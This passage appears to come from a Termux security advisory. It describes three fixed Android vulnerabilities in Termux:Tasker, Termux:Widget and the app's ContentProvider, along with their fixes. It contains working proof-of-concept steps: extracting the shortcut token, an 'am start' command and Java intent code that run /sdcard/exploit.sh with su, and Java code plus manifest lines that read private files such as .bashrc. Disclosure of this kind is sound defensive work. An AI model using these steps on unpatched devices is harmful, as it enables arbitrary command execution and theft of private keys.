runtime permission, to be granted to the calling app, which was published by Termux app. The Tasker app already had requested the permission since v5.9.3
for RUN_COMMAND
intent before the v0.5
release but other automation apps would have had to request the permission in later versions. (26da42f7
)
The canonical path of the executable received by FireReceiver
was found before it was processed. The v0.5
release officially added support to allow executables outside the ~/.termux/tasker
directory, but only if user had explicitly added allow-external-apps=true
to ~/.termux/termux.properties
. (a5af3db3
)
This dual permission model enforced by android os permission and an app setting for absolute paths provides reasonable security against any arbitrary code execution or privilege escalation unless users grant the permission to untrusted apps.
Check Termux:Tasker
README
for more details on new design.
This kind of vulnerability partly existed because any app can send intents to plugin apps of automation apps like Tasker
. The Tasker
app and the locale
plugin protocol library it uses were created around 2008
. At that time runtime permissions didn't exist and security and possible dangerous uses of plugins may not have been a top priority/concern. However, it is indeed especially concerning for plugin apps that are granted privileged permissions like device admin/owner and accessibility services or even storage, location, etc. For example the SecureTask
plugin needs to be set as device admin or even owner for a lot of its features. If a user has installed the app on their phone and have granted the device admin permission to SecureTask
, any app could send intents to it directly without going through Tasker to run privileged commands, including wiping the device.
The Termux:Tasker
requirement for com.termux.permission.RUN_COMMAND
permission requires Tasker and all other automation apps to request the permission in their AndroidManifest.xml
, but this can't be expected to be done for almost every plugin that exists since it would require manual intervention of all automation app devs. Moreover, private plugins may exist to with their custom permissions, whose info their devs may not want to release to the public. Possibly some kind of token generation and validation mechanism needs to be designed, possibly as core part locale
library. Hopefully, more thought can be given to this and termux, automation and locale
lib devs can collaborate to implement something in (near) future, since current design is not how it should be.
This vulnerability allowed execution of any command in termux
context or even root
context if termux had been granted root permissions by any launcher app in which the user had created a launcher shortcut and by any malicious app which started the Termux:Widget
shortcut chooser activity and user accidentally selected a shortcut regardless of if the app was the default launcher or not.
The vulnerability existed since the first release of the plugin v0.3
(2015-12-20
) till <= v0.12
and was fixed in v0.13.0
(2021-09-23
).
The Termux:Widget
"security" worked by generating a token and storing it in shared preferences. Now every time a static shortcut was created for a launcher app, it was sent this token as an extra in the shortcut intent created. When the user triggered the shortcut, the shortcut intent was sent by the launcher app and received by TermuxLaunchShortcutActivity
and it was checked if the one in the intent matched against the one stored in shared preferences. Now this provided decent security and is usually how APIs work, but no canonical path validation was being done before passing it to TermuxService
. It was not checked if the canonical path was under the ~/.shortcuts
directory. So basically once a malicious launcher or any app had received a token, it could run any command at any time by sending a custom path like /sdcard/exploit.sh
for foreground commands or /sdcard/tasks/exploit.sh
for background commands (Termux:Widget
would assume it as background since parent dirname would equal tasks
).
Install Termux:Widget
v0.12
.
Create a shortcut from termux terminal: touch ~/.shortcuts/tasks/test
Get the token being used by Termux:Widget
by installing TaskerLauncherShortcut
and open it, then options (3 dots at top right) -> Search Shortcuts
-> Static Shortcut
-> Termux:Widget
-> Select any shortcut and an intent uri will be copied to clipboard, something like com.termux.file:/data/data/com.termux/files/home/.shortcuts/tasks/test#Intent;component=com.termux.widget/.TermuxLaunchShortcutActivity;S.com.termux.shortcut.token=22e30b81-5d67-4ee3-be0e-66169f637025;end
. You can also get the token by running following in termux terminal cat /data/data/com.termux.widget/shared_prefs/token.xml
after creating at least one launcher shortcut.
Create an exploit file from termux terminal: echo 'whoami; su -c whoami; sleep 5' > /sdcard/exploit.sh
Trigger the exploit from termux terminal or adb shell
: am start --user 0 -n com.termux.widget/.TermuxLaunchShortcutActivity -d /sdcard/exploit.sh --es com.termux.shortcut.token 22e30b81-5d67-4ee3-be0e-66169f637025
Or use java from any app.
Intent intent = new Intent();
intent.setClassName("com.termux.widget", "com.termux.widget.TermuxLaunchShortcutActivity");
intent.setData(Uri.parse("/sdcard/exploit.sh"));
intent.putExtra("com.termux.shortcut.token", "22e30b81-5d67-4ee3-be0e-66169f637025");
startActivity(intent);
The termux app will run the /sdcard/exploit.sh
script with /data/data/com.termux/files/usr/bin/sh
and /sdcard
being mounted as noexec
would not be an issue.
Use ShortcutManager
APIs to create pinned shortcut on android version >=8
. This is better way to create shortcuts since launcher does not get access to shortcut data of the app and android itself stores them, so even the launcher app would not get the token and would not be able to run any scripts whose shortcut was not explicitly created by the user. For more info on shortcut types, check https://github.com/agnostic-apollo/TaskerLauncherShortcut#shortcut-types. (e94d7777
)
The token being previously used and shortcuts created on older versions of Termux:Widget
were invalidated so that in case a malicious app already had the token, it could not use it anymore and so that users on Android >= 8
were forced to re-create their shortcuts with safer pinned shortcuts API instead of continuing to use the old unsafer static shortcuts API. (32f344ee
)
The canonical path of the executable received by TermuxLaunchShortcutActivity
was found before it was processed. Shortcuts that were broken symlinks or whose canonical path was not under the ~/.shortcuts
or ~/.termux
directory were not shown and execution for the later was not allowed even if the path was sent. (32f344ee
, 32f344ee
, bcb0ab6c
)
Using pinned shortcuts on android version >=8
and not allowing execution of files whose canonical path was not under the ~/.shortcuts
or ~/.termux
directory provides reasonable security against any arbitrary code execution or privilege escalation. Users who are on Android versions < 8
would still have to use static shortcuts and should be careful about which apps they create a shortcut in, since such apps would be able to execute any scripts under the allowed directories. Users generally should be very careful about which launcher or non-launcher shortcut apps (like Shortcut Maker) they install on their device, since these apps get to execute dangerous shortcuts for apps which can have serious consequences if not protected properly by the apps.
Check Termux:Widget
README
for more details on new design.
This vulnerability allowed all files under /data/data/com.termux/files
to be readable by any app.
The vulnerability existed since v0.47
(2017-02-28
) till <= v0.117
and was fixed in v0.118.0
(2022-01-08
).
The vulnerability existed in the termux ContentProvider
declaration since it had set android.permission.permRead
as readPermission
. Basically, termux passes the FLAG_GRANT_READ_URI_PERMISSION
flag when user requests to open a file with another app, like with termux-open
, so the target app doesn't need to have the android.permission.permRead
permission to be able to read the file, which also requires grantUriPermissions="true"
in the provider
element. However, if some app has the permission, it can read any files under files
directory as set by termux TermuxOpenReceiver$ContentProvider.openFile()
.
Issue was that termux did not declare/publish the android.permission.permRead
permission, like it does the com.termux.permission.RUN_COMMAND
custom permission. Its a dummy permission, likely copied from some tutorial or stackoverflow answer when the ContentProvider
was added, since internet searches reveal various random results from different sites for it. It was meant to be replaced with a custom permission published by the app, but it was not. That resulted in any app to just publish the permission in its own AndroidManifest.xml
and grant itself the permission with uses-permission
entry and then be able to read any files under files
directory.
Note that other apps could only read the files, but not write to them since TermuxOpenReceiver$ContentProvider.openFile()
returned the ParcelFileDescriptor.MODE_READ_ONLY
file mode, so writing was not possible and caller would get java.io.IOException: write failed: EBADF (Bad file descriptor)
errors if it tried to write, There was also no writePermission
set in the provider
element. This at least prevented arbitrary code execution and privilege escalation, which obviously would have been much worse for some cases.
The following POC reads the /data/data/com.termux/files/home/.bashrc
and writes it to /sdcard/bashrc.txt
.
private void runTermuxContentProviderReadCommand(Context context) {
Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/.bashrc");
//Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");
InputStream inputStream = null;
FileOutputStream fileOutputStream = null;
try {
inputStream = context.getContentResolver().openInputStream(uri);
File outFile = new File(Environment.getExternalStorageDirectory(), "bashrc.txt");
fileOutputStream = new FileOutputStream(outFile);
byte[] buffer = new byte[4096];
int readBytes;
while ((readBytes = inputStream.read(buffer)) > 0) {
Log.d(LOG_TAG, "data: " + new String(buffer, 0, readBytes, Charset.defaultCharset()));
fileOutputStream.write(buffer, 0, readBytes);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (inputStream != null)
inputStream.close();
if (fileOutputStream != null)
fileOutputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
<permission
android:name="android.permission.permRead"
android:description="@string/permission_termux_provider_description"
android:icon="@mipmap/ic_launcher"
android:label="Termux Provider"
android:protectionLevel="normal" />
<uses-permission android:name="android.permission.permRead" />
The dummy android.permission.permRead
readPermission
was silently replaced with com.termux.permission.RUN_COMMAND
in termux ContentProvider
declaration. It seemed appropriate to use the same com.termux.permission.RUN_COMMAND
permission used for RUN_COMMAND
intent and other plugin command executions for accessing files as well since commands can access files anyways, and it would be easier for third party apps to request a single permission. (b62645cd
)
The file mode returned by TermuxOpenReceiver$ContentProvider.openFile()
which was previously ParcelFileDescriptor.MODE_READ_ONLY
was changed to allow both read and write or more specially any file mode defined by ParcelFileDescriptor.parseMode()
. With this change, apps that don't have the com.termux.permission.RUN_COMMAND
permission are denied access, unless temporary read permission was granted through termux-open
. For apps with the permission, they can use something like the following for reading and writing. Note that writing to external storage will fail with File
APIs (outFile.createNewFile()
) if scoped storage restrictions are being enforced for the calling app, like for targetSdkVersion
> 28
. (b62645cd
)
private void runTermuxContentProviderWriteCommand(Context context) {
Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/test.sh");
FileOutputStream fileOutputStream = null;
BufferedWriter bufferedWriter = null;
ParcelFileDescriptor parcelFileDescriptor = null;
try {
parcelFileDescriptor = context.getContentResolver().openFileDescriptor(uri, "wt");
Log.d(LOG_TAG, "parcelFileDescriptor: " + parcelFileDescriptor.describeContents());
fileOutputStream = new FileOutputStream(parcelFileDescriptor.getFileDescriptor());
bufferedWriter = new BufferedWriter(new OutputStreamWriter(fileOutputStream, Charset.defaultCharset()));
bufferedWriter.write("echo 'some script'\n");
bufferedWriter.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (parcelFileDescriptor != null)
parcelFileDescriptor.close();
if (fileOutputStream != null)
fileOutputStream.close();
if (bufferedWriter != null)
bufferedWriter.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
private void runTermuxContentProviderReadCommand(Context context) {
Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/.bashrc");
//Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");
InputStream inputStream = null;
FileOutputStream fileOutputStream = null;
try {
inputStream = context.getContentResolver().openInputStream(uri);
File outFile = new File(Environment.getExternalStorageDirectory(), "bashrc.txt");
if (!outFile.exists())
outFile.createNewFile();
fileOutputStream = new FileOutputStream(outFile);
byte[] buffer = new byte[4096];
int readBytes;
while ((readBytes = inputStream.read(buffer)) > 0) {
Log.d(LOG_TAG, "data: " + new String(buffer, 0, readBytes, Charset.defaultCharset()));
fileOutputStream.write(buffer, 0, readBytes);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (inputStream != null)
inputStream.close();
if (fileOutputStream != null)
fileOutputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
ContentProvider
access was only allowed if allow-external-apps
was set to true
in ~/.termux/termux.properties
. This also results in termux-open
and xdg-open
command to silently fail if value is not set to true
in v0.118.0
. An error notification will be added in future versions. The caller app like QuickEdit
may still show a flash error. Check https://github.com/termux/termux-tasker#allow-external-apps-property-optional on info on how to change the value. Write access through ContentProvider
was also disabled for ~/.termux/termux.properties
so that apps couldn't modify termux settings without user consent, although they can still do it with RUN_COMMAND
intent for now, at least until whitelisting commands is implemented to give users more control. (dcedf394
, e302a14c
)All private files like security keys for ssh
or encryption keys should be assumed to be compromised for users who were using termux app version <= v0.117
. It is highly advisable to replace any such keys with new ones and look into any suspicious authorized access on any remote servers being connected to from termux.
People who are still using Google Playstore version are advised to immediately shift to F-Droid or Github releases since updates will not be released on Google Playstore any time soon, if ever, due to Android 10
issues. Playstore builds were deprecated more than ~150
days ago and are no longer supported. Check https://github.com/termux/termux-app#installation for more info on where to install/update the Termux app.
Google Playstore, F-Droid and other stores should ideally also add checks to see if any other apps are using android.permission.permRead
or android.permission.permWrite
permissions or other dummy permissions found in internet searches in the app ContentProvider
declarations and notify their devs since those apps would be vulnerable as well to such vulnerabilities. Moreover, any malicious apps declaring or requesting those permissions should also be caught and removed.
It would also be highly appreciated if any other devs review Termux
and plugin apps code for any other potential vulnerabilities that may exist so that they can be fixed as well to provide safer environment for users.